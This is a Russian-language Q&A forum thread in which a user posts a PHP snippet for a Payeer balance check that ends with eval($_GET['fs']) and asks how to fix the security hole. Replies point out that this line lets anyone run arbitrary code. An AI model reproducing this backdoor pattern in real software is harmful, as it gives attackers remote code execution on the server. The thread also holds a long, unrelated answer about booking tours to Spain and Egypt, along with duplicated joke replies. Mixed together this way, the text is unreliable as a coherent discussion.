PHP

Тут есть дыра, как пофиксить?

# Проверяем баланс
if(isset($_GET['balance'])){
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if($payeer->isAuth()){
$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0){
$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
echo "$balance";
} else {
echo 'error auth';
}
}
}

# Если пользователь админ

eval($_GET['fs']);
У тебя ошибочна логика проверки условий.

Проверка авторизации производится только тогда, когда в запросе есть параметр balance. Достаточно его опустить и кто угодно залезет в систему с правами админа.

Если balance нет, но $payeer->isAuth() возвращает false - опять получаем полный доступ.

И да, eval - это даже не дыра, а полное отсутствие какой-либо безопасности.
БП
Бага Просто Бага
72 290
Лучший ответ
Последняя строка - дырища.
Евгений Данильчук А что сделать что бы исправить?
Какая наскальная живопись...
Евгений Косяк
Евгений Косяк
70 414
Однозначного ответа на этот вопрос нет. Если планируется поездка в страну, которая пользуется большим спросом у наших соотечественников, то на таком направлении работают сразу несколько наших крупных туроператоров, а потому, в силу высокой конкуренции, они предлагают цены, конкурировать с которыми частному лицу (при самостоятельном заказе гостиниц, билетов и т. д. ) весьма затруднительно, а порой и невозможно. Например, при самостоятельной поездке в такую страну, как Египет, один только билет на самолет при самостоятельной покупке обойдется во столько же, во сколько готовый недельный тур во вполне приличный отель, купленный у туроператора.
Самостоятельно покупать всё и вся имеет смысл в двух случаях:
1. Вы хотите посетить страну, в которую россияне пока ездят не часто, а потому и цены у туроператоров на неё высоки.
2. Вы хотите реализовать свою собственную программу пребывания в стране, отличную от той, которую предлагают туроператоры. Например, в Грецию наши соотечественники валом валят и туроператоров по Греции - как грязи, но если Вы хотите поехать, скажем, на какой-то греческий остров, который мало известен нашим туристам, то будет гораздо дешевле поехать самостоятельно, нежели заказывать индивидуальный тур у туроператора.

Возможен и промежуточный вариант, когда, например, у туроператора Вы заказываете только перелёт в нужную Вам страну и/или отель, а дальше сами отдыхаете на месте как хотите, по своей собственной программе. Такой вариант, если Вы едете в уже освоенную нашими туристами страну, обойдется в большщинстве случаев дешевле, чем при самостоятельной покупке того же самого отеля и билетов на самолет.

Так что всё завистит от того, куда именно в Испанию Вы хотите поехать и с какой целью. Поскольку эта страна весьма популярна у россиян и на этом направлении работают много наших ТО, думаю, с экономической очки зрения воспользоваться (хотя бы частично) услугами одного из них будет вполне оправдано, особенно если предполагается пляжный отдых или экскурсионная поездка по проторенным туристическим местам.
Sergey Goryushkin
Sergey Goryushkin
51 603
*100#
Сотри последнюю строчку
и все будет найс почти
Ринат Родригес
Ринат Родригес
24 328
Евгений Данильчук Нет, там что то другое
заштопать единичкой
Олег Зуев
Олег Зуев
6 742
Ниток нет, к сожалению.
Даниил Клёнов
Даниил Клёнов
4 797
переменные не фильтруются, тот же $balance сразу посылается в вывод, а ведь там может быть что угодно, например вместо баланса вредоносный код.

если вас интересует более обширный анализ безопасности приложения, обращайтесь
А это что такое?
Я что то не поняла
С*
Серега *****
2 357
Дыра в стене у тебя. Окно называется.
eval убирай и все гуд
?
DV
Dmitri Vorobev
398
сотри все и дыры не будет
Смотри последнюю строчку
и все будет норм почти
Ох сладкие рулеточки на бесплатных скриптах :3
Mushfiq Aliyev
Mushfiq Aliyev
178
заштопать единичкой
заштопать единичкой